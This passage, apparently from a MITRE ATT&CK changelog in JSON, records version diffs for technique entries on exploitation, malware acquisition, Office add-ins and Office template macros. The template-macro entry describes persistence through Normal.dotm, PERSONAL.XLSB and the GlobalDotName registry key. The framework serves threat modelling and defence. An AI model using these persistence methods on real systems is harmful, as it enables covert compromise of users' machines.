class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1203),&nbsp;[Exploitation&nbsp;for&nbsp;Privilege&nbsp;Esc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Escalation](https://attack.mitre.org/techniques/T1068),&nbsp;[E</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alation](https://attack.mitre.org/techniques/T1068),&nbsp;[Exploi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xploitation&nbsp;for&nbsp;Stealth](https://attack.mitre.org/techniques</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation&nbsp;for&nbsp;Stealth](https://attack.mitre.org/techniques/T121</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/T1211),&nbsp;[Exploitation&nbsp;for&nbsp;Credential&nbsp;Access](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1),&nbsp;[Exploitation&nbsp;for&nbsp;Credential&nbsp;Access](https://attack.mitr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1212),&nbsp;[Exploitation&nbsp;of&nbsp;Remote&nbsp;Servic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1212),&nbsp;[Exploitation&nbsp;of&nbsp;Remote&nbsp;Services](h</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es](https://attack.mitre.org/techniques/T1210),&nbsp;and&nbsp;[Applica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttps://attack.mitre.org/techniques/T1210),&nbsp;and&nbsp;[Application&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;or&nbsp;System&nbsp;Exploitation](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;System&nbsp;Exploitation](https://attack.mitre.org/techniques/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1499/004)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1499/004)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0827: Detection of Exploits"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-01 02:06:11.499000+00:00",
                    "modified": "2026-11-04 03:29:28.581000+00:00",
                    "name": "Malware",
                    "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "resource-development"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1588/001",
                            "external_id": "T1588.001"
                        },
                        {
                            "source_name": "BITSIGHT Malware Analysis",
                            "description": "Emma Stevens. (2025, August 27). The Business of Malware: Inside the MaaS Economy. Retrieved September 2, 2026.",
                            "url": "https://www.bitsight.com/blog/what-is-malware-as-a-service"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:29:28.581000+00:00\", \"old_value\": \"2026-09-02 17:55:52.445000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\\n\\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\", \"old_value\": \"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\\n\\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\\n \\n-In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\\n+In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to134__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to134__0\"><a href=\"#difflib_chg_to134__top\">t</a></td><td class=\"diff_header\" id=\"from134_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;buy,&nbsp;steal,&nbsp;or&nbsp;download&nbsp;malware&nbsp;that&nbsp;can&nbsp;be&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to134__top\">t</a></td><td class=\"diff_header\" id=\"to134_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;buy,&nbsp;steal,&nbsp;or&nbsp;download&nbsp;malware&nbsp;that&nbsp;can&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;during&nbsp;targeting.&nbsp;Malicious&nbsp;software&nbsp;can&nbsp;include&nbsp;payloa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;during&nbsp;targeting.&nbsp;Malicious&nbsp;software&nbsp;can&nbsp;include&nbsp;payloa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds,&nbsp;droppers,&nbsp;post-compromise&nbsp;tools,&nbsp;backdoors,&nbsp;packers,&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds,&nbsp;droppers,&nbsp;post-compromise&nbsp;tools,&nbsp;backdoors,&nbsp;packers,&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;C2&nbsp;protocols.&nbsp;Adversaries&nbsp;may&nbsp;acquire&nbsp;malware&nbsp;to&nbsp;support&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;C2&nbsp;protocols.&nbsp;Adversaries&nbsp;may&nbsp;acquire&nbsp;malware&nbsp;to&nbsp;support&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eir&nbsp;operations,&nbsp;obtaining&nbsp;a&nbsp;means&nbsp;for&nbsp;maintaining&nbsp;control&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eir&nbsp;operations,&nbsp;obtaining&nbsp;a&nbsp;means&nbsp;for&nbsp;maintaining&nbsp;control&nbsp;of</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;remote&nbsp;machines,&nbsp;evading&nbsp;defenses,&nbsp;and&nbsp;executing&nbsp;post-compr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;remote&nbsp;machines,&nbsp;evading&nbsp;defenses,&nbsp;and&nbsp;executing&nbsp;post-compr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omise&nbsp;behaviors.&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;downloading&nbsp;free&nbsp;malware&nbsp;fr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omise&nbsp;behaviors.&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;downloading&nbsp;free&nbsp;malware&nbsp;fr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">om&nbsp;the&nbsp;internet,&nbsp;adversaries&nbsp;may&nbsp;purchase&nbsp;these&nbsp;capabilities</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">om&nbsp;the&nbsp;internet,&nbsp;adversaries&nbsp;may&nbsp;purchase&nbsp;these&nbsp;capabilities</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;third-party&nbsp;entities.&nbsp;Third-party&nbsp;entities&nbsp;can&nbsp;include</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;third-party&nbsp;entities.&nbsp;Third-party&nbsp;entities&nbsp;can&nbsp;include</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;technology&nbsp;companies&nbsp;that&nbsp;specialize&nbsp;in&nbsp;malware&nbsp;development</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;technology&nbsp;companies&nbsp;that&nbsp;specialize&nbsp;in&nbsp;malware&nbsp;development</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;criminal&nbsp;marketplaces&nbsp;(including&nbsp;Malware-as-a-Service,&nbsp;or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;criminal&nbsp;marketplaces&nbsp;(including&nbsp;Malware-as-a-Service,&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MaaS),&nbsp;or<span class=\"diff_sub\">&nbsp;from</span>&nbsp;individuals.(Citation:&nbsp;BITSIGHT&nbsp;Malware&nbsp;Analy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MaaS),&nbsp;or&nbsp;individuals.(Citation:&nbsp;BITSIGHT&nbsp;Malware&nbsp;Analysis)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sis)&nbsp;In&nbsp;addition&nbsp;to&nbsp;purchasing&nbsp;malware,&nbsp;adversaries&nbsp;may&nbsp;stea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">In&nbsp;addition&nbsp;to&nbsp;purchasing&nbsp;malware,&nbsp;adversaries&nbsp;may&nbsp;steal&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;and&nbsp;repurpose&nbsp;malware&nbsp;from&nbsp;third-party&nbsp;entities&nbsp;(including</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;repurpose&nbsp;malware&nbsp;from&nbsp;third-party&nbsp;entities&nbsp;(including&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;other&nbsp;adversaries).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;adversaries).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0845: Detection of Malware"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-11-07 19:52:52.801000+00:00",
                    "modified": "2026-11-04 03:32:41.972000+00:00",
                    "name": "Add-ins",
                    "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs.(Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1137/006",
                            "external_id": "T1137.006"
                        },
                        {
                            "source_name": "FireEye Mail CDS 2018",
                            "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"
                        },
                        {
                            "source_name": "MRWLabs Office Persistence Add-ins",
                            "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
                        },
                        {
                            "source_name": "Microsoft Office Add-ins",
                            "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                            "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "Office Suite"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:32:41.972000+00:00\", \"old_value\": \"2025-10-24 17:48:37.911000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs.(Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\\n\\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. \", \"old_value\": \"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\\n\\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\\n+Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs.(Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\\n \\n Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"GlobalDotName Jun 2019\", \"description\": \"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.\", \"url\": \"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to121__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to121__0\"><a href=\"#difflib_chg_to121__top\">t</a></td><td class=\"diff_header\" id=\"from121_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Microsoft&nbsp;Office&nbsp;add-ins&nbsp;to&nbsp;obtain&nbsp;per</td><td class=\"diff_next\"><a href=\"#difflib_chg_to121__top\">t</a></td><td class=\"diff_header\" id=\"to121_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Microsoft&nbsp;Office&nbsp;add-ins&nbsp;to&nbsp;obtain&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sistence&nbsp;on&nbsp;a&nbsp;compromised&nbsp;system.&nbsp;Office&nbsp;add-ins&nbsp;can&nbsp;be&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sistence&nbsp;on&nbsp;a&nbsp;compromised&nbsp;system.&nbsp;Office&nbsp;add-ins&nbsp;can&nbsp;be&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;add&nbsp;functionality&nbsp;to&nbsp;Office&nbsp;programs.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microso</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;add&nbsp;functionality&nbsp;to&nbsp;Office&nbsp;programs.(Citation:&nbsp;Microsof</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;Office&nbsp;Add-ins)&nbsp;There&nbsp;are&nbsp;different&nbsp;types&nbsp;of&nbsp;add-ins&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Office&nbsp;Add-ins)&nbsp;There&nbsp;are&nbsp;different&nbsp;types&nbsp;of&nbsp;add-ins&nbsp;that&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;used&nbsp;by&nbsp;the&nbsp;various&nbsp;Office&nbsp;products;&nbsp;including&nbsp;Word/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;be&nbsp;used&nbsp;by&nbsp;the&nbsp;various&nbsp;Office&nbsp;products;&nbsp;including&nbsp;Word/E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Excel&nbsp;add-in&nbsp;Libraries&nbsp;(WLL/XLL),&nbsp;VBA&nbsp;add-ins,&nbsp;Office&nbsp;Compon</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xcel&nbsp;add-in&nbsp;Libraries&nbsp;(WLL/XLL),&nbsp;VBA&nbsp;add-ins,&nbsp;Office&nbsp;Compone</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;Object&nbsp;Model&nbsp;(COM)&nbsp;add-ins,&nbsp;automation&nbsp;add-ins,&nbsp;VBA&nbsp;Edit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;Object&nbsp;Model&nbsp;(COM)&nbsp;add-ins,&nbsp;automation&nbsp;add-ins,&nbsp;VBA&nbsp;Edito</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;(VBE),&nbsp;Visual&nbsp;Studio&nbsp;Tools&nbsp;for&nbsp;Office&nbsp;(VSTO)&nbsp;add-ins,&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;(VBE),&nbsp;Visual&nbsp;Studio&nbsp;Tools&nbsp;for&nbsp;Office&nbsp;(VSTO)&nbsp;add-ins,&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Outlook&nbsp;add-ins.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MRWLabs&nbsp;Office&nbsp;Persistence&nbsp;Add-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Outlook&nbsp;add-ins.(Citation:&nbsp;MRWLabs&nbsp;Office&nbsp;Persistence&nbsp;Add-in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ins)(Citation:&nbsp;FireEye&nbsp;Mail&nbsp;CDS&nbsp;2018)&nbsp;&nbsp;Add-ins&nbsp;can&nbsp;be&nbsp;used&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s)(Citation:&nbsp;FireEye&nbsp;Mail&nbsp;CDS&nbsp;2018)&nbsp;&nbsp;Add-ins&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;obtain&nbsp;persistence&nbsp;because&nbsp;they&nbsp;can&nbsp;be&nbsp;set&nbsp;to&nbsp;execute&nbsp;code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">obtain&nbsp;persistence&nbsp;because&nbsp;they&nbsp;can&nbsp;be&nbsp;set&nbsp;to&nbsp;execute&nbsp;code&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;when&nbsp;an&nbsp;Office&nbsp;application&nbsp;starts.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;an&nbsp;Office&nbsp;application&nbsp;starts.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0050: Detect Persistence via Malicious Office Add-ins"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-11-07 20:29:17.788000+00:00",
                    "modified": "2026-11-04 00:31:45.017000+00:00",
                    "name": "Office Template Macros",
                    "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.(Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros(Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1137/001",
                            "external_id": "T1137.001"
                        },
                        {
                            "source_name": "MSDN VBA in Office",
                            "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
